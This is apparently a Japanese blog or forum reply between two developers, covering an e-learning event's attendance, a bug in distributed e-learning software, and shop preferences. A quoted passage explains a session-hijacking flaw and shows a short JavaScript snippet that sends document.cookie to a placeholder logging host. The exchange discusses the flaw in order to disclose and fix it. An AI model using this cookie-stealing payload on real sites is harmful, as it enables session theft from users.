|    | 
     ▼ぱんとらさん: 
>来場予定者数って、チケット配った枚数なんでしょうか? 
>それとも動員可能人数だったんでしょうか。 
どうなんでしょうかねぇ〜。週明けにうちの教授(今回の実行委員長)に聞いてみようかなと思います。さて動員数は!? 終日会場には関係者ばかりが目立ったような気がするのですが... 
>そもそもe-learningに興味がある道民が7000人もいるのか? 
いるわけないな(爆) 
 
>JavaScriptでlocation.hrefを使うと攻撃性のあるページ飛ばせるんです。 
><script language="JavaScript"> 
>location.href = "http://hogehoge/logging.cgi?data=" + document.cookie; 
></script> 
>という具合に書けば、cookieに入っているセッションIDが盗めますので、 
>セッション乗っ取りされちゃいます。 
ありゃぁ〜確かにジャンプ先でクッキーの内容が取得できますねぇ〜。 
 
>> でもまぁ、バグも発見されたことだし、今後もうちょっとマシに 
>> なればよいのですが... ただバグ修正は誰がするんでしょうかねぇ。 
>あの後、ソース公開されているんかなーっと。 
>いろいろ漁っていたんですが、メール出さないともらえないっぽいですね。 
どんな人に配布したかを把握しておきたいそうです。 
誰がいつ直して本家に反映させておくのか確認しておきます。さすがに、このバグを放置したまま配布しまくるのは大問題でしょうしね。 
 
>java.util.regexの正規表現機能を使ってサニタイジングするだけなんで 
>Java Servletが分かる人なら修正できるかと思います。 
ですね。 
 
>Pantora NetworksとCrystal Dew Worldで共同受注しますか? 
>開発は札幌駅のベスト電器横のドトールあたりで。(笑) 
ドトールで無線LAN?? 私は無線LAN 持ってないので某FreeD で対抗しますかねぇ〜(笑)先生の対応しだいでは冗談ではなくなったりして。 
 
>自称「エンタープライズオタク」なんで、 
>行き先はサーバ、ワークステーションや業務用ルータのお店が中心かな。 
>一般どころではPlatHomeとかOTTO UNIX館が好き。 
私は、スタンダードに自作ショップやパソコン本屋さんが好きですね。いつかは買いたいと思いながら金欠でスルーしてしまった本も結構置いてありますからねぇ〜。 
 
>度が過ぎた変人は社会に貢献すると思います。 
同感です。 
 
>年齢気にせず、誰とでもフランクに話しますから、 
>典型的な日本型社会では嫌がられますけど...。 
あはは、確かに私のほうが3つ上ですからね(一浪してます)。そこら辺は私も気にしないので、また熱く語り合おうではありませんか。でも、もうちょっと修行しておきます。 
 
 | 
     
    
   |